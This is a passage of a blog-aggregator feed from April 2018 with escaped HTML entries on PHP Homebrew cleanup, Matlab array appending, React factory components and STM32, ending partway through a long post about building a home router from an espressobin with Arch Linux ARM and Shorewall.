&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew uninstall php56 php71 php71-intl etc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="remove-leftover-references-to-existing-configurations"&gt;Remove leftover references to existing configurations.&lt;/h4&gt;
&lt;p&gt;If you skip this step, you may see errors down the road where php is referencing incorrect extension paths.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 12 Apr 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/update-php-homebrew/</guid></item><item><title>The Data Interface</title><link>https://www.craigpardey.com/post/2018-04-12-data-interfaces/</link><description>&lt;blockquote&gt;
&lt;p&gt;A trucker delivering palletized cargo to a pier would have to remove each item from the pallet
and place it on the dock. Longshoreman would then replace the items on the pallet for lowering
into the hold, where other longshoreman would break down the pallet once more and stow each individual
item - all at a cost so high that shippers knew not to send pallets to begin with. &amp;ndash; The Box, Marc Levinson. P143&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Thu, 12 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2018-04-12-data-interfaces/</guid></item><item><title>Building Dynamic Firefox Themes</title><link>https://www.dannyguo.com/blog/building-dynamic-firefox-themes</link><author>Danny Guo</author><pubDate>Thu, 12 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/building-dynamic-firefox-themes</guid></item><item><title>Fun With Machine Learning</title><link>https://rjp.is/blogging/posts/fun-with-machine-learning/</link><description>In which we train a neural network.</description><author>infrequent oscillations</author><pubDate>Wed, 11 Apr 2018 16:33:59 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/fun-with-machine-learning/</guid></item><item><title>Machine learning : digging into recommendation system</title><link>https://yasha.solutions/machine-learning-digging-into-recommendation-system/</link><description>Gotta build on of these for a complex and content rich elearning site.
So did some research.
Here are some of my findings.
Here is a good start :
How to Build a Recommender Systemby Martin KihnThe Components of a Recommender Systemon a site with quite some articles on the topic – like this one on Impression DiscountingOr this one :
Beginners Guide to learn about Content Based Recommender Engineswhich is from 2015 but still cover the general basis.</description><author>Yasha Solutions</author><pubDate>Wed, 11 Apr 2018 10:43:05 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/machine-learning-digging-into-recommendation-system/</guid></item><item><title>Every year fewer and fewer words...</title><link>https://stop.zona-m.net/2018/04/every-year-fewer-and-fewer-words.../</link><description>&lt;p&gt;Every year fewer and fewer words, and the range of consciousness always a little smaller. So said Mark Zuckerberg, and so far almost nobody seems to have noticed his source.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 11 Apr 2018 09:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/every-year-fewer-and-fewer-words.../</guid></item><item><title>Planning</title><link>https://denvaar.dev/posts/planning_helps_me_finish_things.html</link><description>I have a lot of things that I want to learn and build. I've found that planning and organizing puts me in a better position to take my goals from start to finish.</description><author>denvaar's website</author><pubDate>Wed, 11 Apr 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/planning_helps_me_finish_things.html</guid></item><item><title>Highlands Festival of Speed 2018</title><link>https://smcleod.net/2018/04/highlands-festival-of-speed-2018/</link><description>&lt;p&gt;Last weekend I headed to New Zealand and marshalled at the &lt;a href="https://www.highlands.co.nz/events/highlands-festival-of-speed-2018/"&gt;Highlands Festival of Speed&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Highlands Festival of Speed is a weekend packed with some of the best modern classic racing you will see in New Zealand. Featuring the Pre 65 Racing, Mainland Muscle, Formula Libre, South Island Porsche, OSCA, Highlands Modern Classics/Nostalgic Classics and the Highlands Sprint Series. This is a weekend of true blue Kiwi racing starring some of New Zealand&amp;rsquo;s most well known racing legends.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Wed, 11 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/04/highlands-festival-of-speed-2018/</guid></item><item><title>JS tooling</title><link>https://yasha.solutions/js-tooling/</link><description>The web is evolving.
Here are some element to catch up on VueJs and NodeJS
 Building a RESTful API with Node.jsNodeJS Shopping CartVue.js 2 – Getting StartedBuild a Chat Room from scratch (vuejs, nodejs, socket.io)Full Stack Web App using Vue.js &amp;amp; Express.jsHotel system in Vue.jsVue.js 2 &amp;amp; Vuex (Basics)</description><author>Yasha Solutions</author><pubDate>Tue, 10 Apr 2018 20:01:50 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/js-tooling/</guid></item><item><title>Appending to Matlab Arrays</title><link>https://bastibe.de/2018-04-10-appending-to-matlab-arrays.html</link><description>&lt;p&gt;/The variable $var appears to change size on every loop iteration. Consider preallocating for speed./&lt;/p&gt;
&lt;p&gt;So sayeth Matlab.&lt;/p&gt;
&lt;p&gt;Let's try it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;x_prealloc&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;x_end&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="n"&gt;x_append&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;
    &lt;span class="c"&gt;% variant 1: preallocate&lt;/span&gt;
    &lt;span class="n"&gt;x_prealloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="c"&gt;% variant 2: end+1&lt;/span&gt;
    &lt;span class="n"&gt;x_end&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="c"&gt;% variant 3: append&lt;/span&gt;
    &lt;span class="n"&gt;x_append&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x_append&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;}];&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Which variant do you think is fastest?&lt;/p&gt;
&lt;p&gt;&lt;img alt="array_performance" src="./static/2018-04/array_performance.png" /&gt;&lt;/p&gt;
&lt;p&gt;Unsurprisingly, preallocation is indeed faster than growing an array. What &lt;em&gt;is&lt;/em&gt; surprising is that it is faster by a constant factor of about 2 instead of scaling with the array length. Only appending by &lt;code&gt;x = [x {42}]&lt;/code&gt; actually becomes slower for larger arrays. (The same thing happens for numerical arrays, struct arrays, and object arrays.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; Do not use &lt;code&gt;x = [x $something]&lt;/code&gt;, ever. Instead, use &lt;code&gt;x(end+1) = $something&lt;/code&gt;. Preallocation is generally overrated.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Tue, 10 Apr 2018 16:48:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-04-10-appending-to-matlab-arrays.html</guid></item><item><title>What seems missing from that agriculture summit</title><link>https://stop.zona-m.net/2018/04/what-seems-missing-from-that-agriculture-summit/</link><description>&lt;p&gt;I discovered only this morning that next May there will be a very interesting meeting about &amp;ldquo;The Digital Revolution - Farming 4.0&amp;rdquo;. Its announcement, however, makes me wonder how complete that meeting will be.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 10 Apr 2018 14:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/what-seems-missing-from-that-agriculture-summit/</guid></item><item><title>Some questions about mangoes, blockchain and fraud</title><link>https://stop.zona-m.net/2018/04/some-questions-about-mangoes-blockchain-and-fraud/</link><description>&lt;p&gt;Investors worldwide are pushing blockchain and the Internet of Things inside literally everything. Including food. This leaves many of us, including me, a bit confused and skeptical. Here is one case where a bit more of explanation may make things easier to accept.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 10 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/some-questions-about-mangoes-blockchain-and-fraud/</guid></item><item><title>Reusable Components: Factory Components</title><link>https://dylanpaulus.com/posts/2018/reusable-components-factory-component/</link><description>&lt;p&gt;Beware the &lt;strong&gt;mega&lt;/strong&gt; component. Mega components contain around 50 props--when the stars align, only certain values produce specialized output. For example, let's assume we have a &lt;code&gt;&amp;lt;IdentityInput /&amp;gt;&lt;/code&gt; component which provides user login using only a fingerprint. Nifty, eh?&lt;br /&gt;
Our component has a few properties: &lt;code&gt;&amp;lt;IdentityInput onSuccess={login} onFail={showError} fingerprint={value} humanOnly /&amp;gt;&lt;/code&gt; allowing for only human fingerprints, and provides a few callbacks for onSuccess and onFail.&lt;/p&gt;
&lt;p&gt;A few months go by and our company, Component Co., finds out there are a lot of humans out there trying to login, but are missing fingerprints! Great, we'll update our component to allow for eyeball scans.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IdentityInput onSuccess={login} onFail={showError} value={value} isEyeballEnabled isFingerprintEnabled humanOnly /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After many failed attempts to login to our system the boss of Component Co., a cyborg without eyeballs or fingerprints, demands that we provide a password input field. Once again, the IndentityInput component gets updated to have the request.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IdentityInput
  onSuccess={login}
  onFail={showError}
  value={value}
  isEyeballEnabled
  isFingerprintEnabled
  showPasswordField={this.state.isCyborg}
  humanOnly={!this.state.isCyborg}
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just from this contrived example, we can see that allowing for ever-growing mega components can start to be a problem. For one, we lose single-responsibility. Over time our component does multiple things which causes a barrier of entry penalty when new developers start using the component. Second, it provides weird combinations of secret password props in components. "If I have these props, it does this one thing. But, don't set that string prop there or everything breaks!" Third, we'll have to write our class/function in a way to handle all the edge cases and props--probably requiring way too many if-statements.&lt;/p&gt;
&lt;p&gt;One solution to this problem is to have a factory component, very much like the factory design pattern. We'll keep individual components small, performing a single function, but then create a parent component that then decides what component we should render.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function FingerPrint(props) {
  return &amp;lt;div {...props}&amp;gt;Super Awesome Fingerprint Scanner&amp;lt;/div&amp;gt;;
}

function EyeballScanner(props) {
  return &amp;lt;div {...props}&amp;gt;Super Ok Eyeball Scanner&amp;lt;/div&amp;gt;;
}

function PasswordInput(props) {
  return &amp;lt;div {...props}&amp;gt;Super Lame Password Input&amp;lt;/div&amp;gt;;
}

/**
 * Factory Component
 */
function IdentityFactory(props) {
  const { type, ...rest } = props;

  switch (type) {
    case "finger":
      return &amp;lt;FingerPrint {...rest} /&amp;gt;;

    case "eyeball":
      return &amp;lt;EyeballScanner {...rest} /&amp;gt;;

    case "password":
      return &amp;lt;PasswordInput {...rest} /&amp;gt;;

    default:
      console.warn(`Invalid Indentity type "${type}". Abort!`);
      return null;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when we want to use the IdentityFactory component we can switch between the different input types, but also provide props relevant to just that component. It'll allow us to modify single-responsibility components with ease.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;render() {
  return (
    &amp;lt;div&amp;gt;
      &amp;lt;IdentityFactory type="finger" humanOnly /&amp;gt;
      &amp;lt;IdentityFactory type="eyeball" humanOnly /&amp;gt;
      &amp;lt;IdentityFactory type="password" /&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Tue, 10 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/reusable-components-factory-component/</guid></item><item><title>[STM32] - part 1 - Cortex what...?</title><link>https://ciesie.com/post/stm32_part1/</link><description>&lt;p&gt;Recently I wrote a short article about setting up an environment for programming &lt;em&gt;STM32&lt;/em&gt; microcontrollers
with the &lt;em&gt;libopencm3&lt;/em&gt; library. You can read it &lt;a href="https://ciesie.com/post/libopencm3_part1/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wanted to write the second part as soon as possible but I found out that even though I could, I
didn&amp;rsquo;t understand everything well enough. I just didn&amp;rsquo;t feel comfortable with the subject. That&amp;rsquo;s
why I started this series. I want to explore what actually happens when you program a &lt;em&gt;STM32&lt;/em&gt;
microcontroller.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Tue, 10 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/stm32_part1/</guid></item><item><title>Building my ideal router for $50</title><link>https://blog.tjll.net/building-my-perfect-router/</link><description>&lt;p&gt;
After my &lt;a href="https://www.asus.com/Networking/RTN66U/"&gt;Asus N66U&lt;/a&gt; kicked the bucket, I considered a few options: another all-in-one router, upgrade to something like &lt;a href="https://www.ubnt.com/edgemax/edgerouter/"&gt;an EdgeRouter&lt;/a&gt;, or brew something custom.
When I read the &lt;a href="https://arstechnica.com/gadgets/2016/01/numbers-dont-lie-its-time-to-build-your-own-router/"&gt;Ars Technica article&lt;/a&gt; espousing the virtues of building your own router, that pretty much settled it: DIY it is.
&lt;/p&gt;

&lt;p&gt;
I've got somewhat of a psychological complex when it comes to rolling my own over-engineered solutions, but I did set some general goals: the end result should be cheap, low-power, well-supported by Linux, and extensible.
Incidentally, ARM boards fit many of these requirements, and some like the Raspberry Pi have stirred up so much community activity that there's great support for the ARM platform, even though it may feel foreign from x86.
&lt;/p&gt;

&lt;p&gt;
I've managed to cobble together a device that is not only dirt cheap for what it does, but is extremely capable in its own right.
If you have any interest in building your own home router, I'll demonstrate here that doing so is not only feasible, but relatively easy to do and offers a huge amount of utility - from traffic shaping, to netflow monitoring, to dynamic DNS.
&lt;/p&gt;

&lt;p&gt;
I built it using the &lt;a href="http://espressobin.net/"&gt;espressobin&lt;/a&gt;, &lt;a href="https://archlinuxarm.org/"&gt;Arch Linux Arm&lt;/a&gt;, and &lt;a href="http://www.shorewall.net/"&gt;Shorewall&lt;/a&gt;.
&lt;/p&gt;

&lt;hr /&gt;


&lt;div class="figure" id="org3365a4a"&gt;
&lt;p&gt;&lt;img alt="espressobin.jpg" class="mainline" src="../assets/images/espressobin.jpg" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;My espressoBIN in operation&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
That picture shows the board enclosed in a 3d-printed case.
Unfortunately, the espressobin isn't popular enough to boast a wide variety of purchasable cases as the Raspberry Pi has, but there are some good models out there for 3d printing.
&lt;/p&gt;

&lt;p&gt;
As a side note, the following documentation isn't meant as a comprehensive step-by-step guide to doing the same thing yourself.
Although I do want to cover many of the choices that went into the build, configuring something as important as a router/firewall really shouldn't be a copy/paste job and would better be loosely guided by the steps here with a thorough understanding of how and why.
&lt;/p&gt;

&lt;hr /&gt;

&lt;div id="table-of-contents"&gt;
&lt;h4&gt;Table of Contents&lt;/h4&gt;
&lt;div id="text-table-of-contents"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#the-why"&gt;The Why&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-one-hardware"&gt;Part One: Hardware&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#what-about-wifi"&gt;What About WiFi?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-two-software"&gt;Part Two: Software&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#operating-system"&gt;Operating System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#firewall"&gt;Firewall&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-three-the-basic-build"&gt;Part Three: The Basic Build&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#os-install"&gt;OS Install&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#os-config"&gt;OS Config&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#firewall"&gt;Firewall&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#dhcp"&gt;DHCP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-four-interlude"&gt;Part Four: Interlude&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-five-upgrades"&gt;Part Five: Upgrades&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#netflow-monitoring"&gt;Netflow Monitoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#traffic-shaping"&gt;Traffic Shaping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#conclusion"&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-the-why"&gt;
&lt;h4 id="the-why"&gt;The Why&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-the-why"&gt;
&lt;p&gt;
There are plenty of solid routers out there you can buy that &lt;i&gt;aren't&lt;/i&gt; stock ISP tire fires and would probably be more than suitable (I'm looking at you lovingly, EdgeRouter Lite).
So why bother with all of this?
There are some legitimate benefits here:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;It's actually very affordable. My router has passed my benchmarks with flying colors, and has every feature I could possibly pull in from Linux (which is a big list).&lt;/li&gt;
&lt;li&gt;It's secure. I feel like a new vulnerability is announced for some consumer network edge device every month. Compare that to a self-managed firewall, and I know &lt;i&gt;exactly&lt;/i&gt; which services are exposed (and if iptables &lt;i&gt;is&lt;/i&gt; broken, the world has bigger problems). For any naysayers, by the way, the &lt;i&gt;only&lt;/i&gt; port listening on my firewall is a random high-numbered port for public-key only ssh authentication. So yes, I do think it's &lt;a href="https://www.cvedetails.com/vulnerability-list/vendor_id-5979/Huawei.html"&gt;more secure than some Huawei consumer router&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;It has great features. Sure, my espressobin can route and serve as a firewall, but I've dropped in some other useful capabilities as well.&lt;/li&gt;
&lt;li&gt;It's performant. In the minor benchmarks I performed, the espressobin can really push traffic without breaking a sweat.&lt;/li&gt;
&lt;li&gt;It was really fun to build. If you a) need a new router or b) want to cut your teeth on a single-board ARM project, this could be a good fit.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-one-hardware"&gt;
&lt;h4 id="part-one-hardware"&gt;Part One: Hardware&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-one-hardware"&gt;
&lt;p&gt;
Technically you could put together a router using any computer with two NICs, but we can do equally well with less power, a smaller form factor, and more affordably.
ARM boards hit the sweet spot: they're super cheap, more powerful than you'd think, and well-supported with so many variants on the market.
&lt;/p&gt;

&lt;p&gt;
The most well-known contender is the Raspberry Pi, but without two NICs or gigabit networking, it's not a good option.
Plus, you're paying for things like a GPU that aren't necessary in a headless network device.
&lt;/p&gt;

&lt;p&gt;
The good news is that last year, the &lt;a href="http://espressobin.net/"&gt;espressobin&lt;/a&gt; was released, and it's super capable.
It feels purpose-built for this type of thing: gigabit networking, a built-in switch, and no frills that you'd otherwise need for something more general-purpose (there isn't even a display out, just a serial console).
&lt;/p&gt;

&lt;p&gt;
Although the board is fairly young, both &lt;a href="https://www.armbian.com/espressobin/"&gt;Armbian&lt;/a&gt; and &lt;a href="https://archlinuxarm.org/platforms/armv8/marvell/espressobin"&gt;Arch Linux Arm&lt;/a&gt; support the hardware, and both projects do a great job of it.
If you haven't explored the world of Linux on ARM, there's not a whole lot to fear here.
Armbian and Arch Linux Arm provide everything you need for aarch64 natively in the distribution repos, so there's little that you'll run into that feels foreign on a 64-bit ARM chip, and it certain feels worth it when you factor in the affordability of the hardware and low power footprint.
&lt;/p&gt;

&lt;p&gt;
Here are some of the highlights for me:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The board includes a builtin Topaz networking switch. In my network testing, traffic that only crosses the LAN interfaces is indistinguishable speed-wise from traffic passing through a vanilla switch. If you stream from a NAS or have otherwise high requirements for inter-device communication that crosses the router, this can make a big difference.&lt;/li&gt;
&lt;li&gt;The serial console is a first-class citizen. On my Raspberry Pis, I sometimes became frustrated having to reach for my HDMI display when debugging issues, but the espressobin has a micro USB serial port for easy console access.&lt;/li&gt;
&lt;li&gt;The aarch64 chip has been great. Not only has it handled everything I've thrown at it, but did you know that &lt;a href="https://developer.arm.com/support/security-update"&gt;it's unaffected by meltdown&lt;/a&gt;? The Cortex-A53 chips aren't impacted by the speculative execution bug, so that's an added bonus.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-what-about-wifi"&gt;
&lt;h5 id="what-about-wifi"&gt;What About WiFi?&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-what-about-wifi"&gt;
&lt;p&gt;
I'll make a small note here that I attempted to use the espressobin as a wireless access point as well.
The board has a mini PCIe slot well-suited for a wireless card, and although it &lt;i&gt;should&lt;/i&gt; have worked, I can definitively report that it's not a good idea.
&lt;/p&gt;

&lt;p&gt;
Without going into painful detail, there's a slew of problems that don't make it worth the effort.
I could not get 5Ghz bands working under any scenario, my 2.4Ghz hostapd service became unresponsive every twelve hours or so, and speeds were shockingly bad.
&lt;/p&gt;

&lt;p&gt;
In general, I think this is a failing of the espressobin hardware.
Cards that should otherwise be well-supported in Linux (some of the cards I tested were ath9k or ath10k-based) simply don't work with the board's mPCIe interface.
Even the officially-recommended cards had problems - the RTL8191SE would work intermittently, and even &lt;a href="http://www.globalscaletechnologies.com/p-73-80211acbt42-minipcie-wifi-card-1795.aspx"&gt;the card produced by Globalscale&lt;/a&gt; doesn't work as advertised.
Incidentally, if you find a well-supported card on the espressobin, please do drop a reply on &lt;a href="http://espressobin.net/forums/topic/which-pcie-wlan-cards-are-supported/"&gt;the related forum thread I started to discuss this issue&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
With all that being said, my intent at this outset of this project was to separate my AP from my router, whether I ended up using an espressobin or not.
Keeping the tasks of firewalling/routing apart from wireless is a nice separation of concerns, and you can get very good dedicated AP devices without any function outside of broadcasting a signal to keep it simple and powerful.
&lt;/p&gt;

&lt;p&gt;
For what it's worth, I ended up purchasing a &lt;a href="https://www.ubnt.com/unifi/unifi-ap-ac-lite/"&gt;Ubiquity UniFi device&lt;/a&gt; and have been totally happy with it.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-two-software"&gt;
&lt;h4 id="part-two-software"&gt;Part Two: Software&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-two-software"&gt;
&lt;p&gt;
There are two big choices here: OS and firewalling software.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-operating-system"&gt;
&lt;h5 id="operating-system"&gt;Operating System&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-operating-system"&gt;
&lt;p&gt;
The first choice to make is whether you want to hand-roll this from an distribution that supports aarch64 or use a prebuilt firmware-like solution such as OpenWRT.
Personally, I've found that whenever I use a shrink-wrapped solution like Tomato/OpenWrt or FreeNAS for a build, I usually get frustrated without being able to really get in there and tweak things, so I'll be using a general-purpose Linux distribution for the operating system.
&lt;/p&gt;

&lt;p&gt;
As I mentioned previously, Armbian and Arch Linux ARM support the board, and espressobin has official documentation for Ubuntu (as well as Yocto, which I was unfamiliar with until now).
While I won't tell you which is best for your use case, here's why I preferred Arch Linux Arm:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;I'm totally sold on rolling release distributions.&lt;/li&gt;
&lt;li&gt;I'm also sold on running atop &lt;del&gt;bleeding&lt;/del&gt; cutting-edge distros. In the case of a router, it's nice to be close to upstream when potentially security-related updates are released.&lt;/li&gt;
&lt;li&gt;Arch will provide us with a clean slate to build atop without any extraneous services. This means that, with a minimal base, we can know exactly what we'll have installed, exposed, and running after putting the pieces together.&lt;/li&gt;
&lt;li&gt;I know and like the Arch Linux ARM people. Hi WarheadsSE!&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-firewall"&gt;
&lt;h5 id="firewall"&gt;Firewall&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-firewall"&gt;
&lt;p&gt;
Some names like &lt;a href="https://www.pfsense.org/"&gt;PFSense&lt;/a&gt; immediately come to mind, but I'd really like to run something on Linux since I know it much better than a BSD (plus, the best [only?] OS options for the espressobin are Linux-based).
&lt;/p&gt;

&lt;p&gt;
The Linux firewall landscape is pretty broad.
Although we'll almost certainly use something iptables-based, there's plenty of higher-level services that sit atop iptables (ufw, firewalld, etc.)
While you could write your own simple iptables ruleset and go with it, I opted to use a firewall service since doing so buys us some nice tribal knowledge that the Linux community has fostered over the many years they've managed iptables firewalls.
&lt;/p&gt;

&lt;p&gt;
In general, a good firewalling daemon should:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Fit in the "healthy OSS project" profile. This means it should be actively maintained, been around for a while, and have decent adoption.&lt;/li&gt;
&lt;li&gt;Avoid complexity. Simple designs are easier to debug, extend, and operate.&lt;/li&gt;
&lt;li&gt;Support some nice-to-have features, such as support for traffic shaping and easy port forwarding configuration.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
After poking around for a while, I settled on &lt;a href="http://www.shorewall.net/"&gt;Shorewall&lt;/a&gt;.
Here are some of the more noteworthy reasons I went with it:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The configuration flow is compile-then-apply. This ensures that our ruleset is sane before applying it, which also means that there's no resident daemon consuming the device's resources, which is relevant on a small single-board computer.&lt;/li&gt;
&lt;li&gt;It comes with lots of nice historical knowledge built-in, so the iptables rules that get spit out handle lots of edge cases you wouldn't normally think about.&lt;/li&gt;
&lt;li&gt;I'll cover more of this later, but packet marking and native support for traffic shaping make classful qdiscs easy.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-three-the-basic-build"&gt;
&lt;h4 id="part-three-the-basic-build"&gt;Part Three: The Basic Build&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-three-the-basic-build"&gt;
&lt;p&gt;
This post isn't meant to be a comprehensive guide, but I wanted to include the broad bullet points so that it's apparent how easy this is to put together.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-os-install"&gt;
&lt;h5 id="os-install"&gt;OS Install&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-os-install"&gt;
&lt;p&gt;
This one is easy - just follow the &lt;a href="https://archlinuxarm.org/platforms/armv8/marvell/espressobin"&gt;Arch Linux Arm espressobin&lt;/a&gt; page.
It's particularly important to note the added flags on the &lt;code&gt;mkfs.ext4&lt;/code&gt; command and additional U-Boot configuration.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-os-config"&gt;
&lt;h5 id="os-config"&gt;OS Config&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-os-config"&gt;
&lt;p&gt;
Generally, Arch Linux Arm installs are pretty well set from the get-go.
Of course, you'll want to set up a non-root user to administer with that isn't the default account, so remember to disable the &lt;code&gt;alarm&lt;/code&gt; user, change all passwords, and update the system.
&lt;/p&gt;

&lt;p&gt;
As a side note, I highly recommend installing the &lt;a href="http://kmkeen.com/pacmatic/"&gt;&lt;code&gt;pacmatic&lt;/code&gt;&lt;/a&gt; package and using it in lieu of regular &lt;code&gt;pacman&lt;/code&gt;.
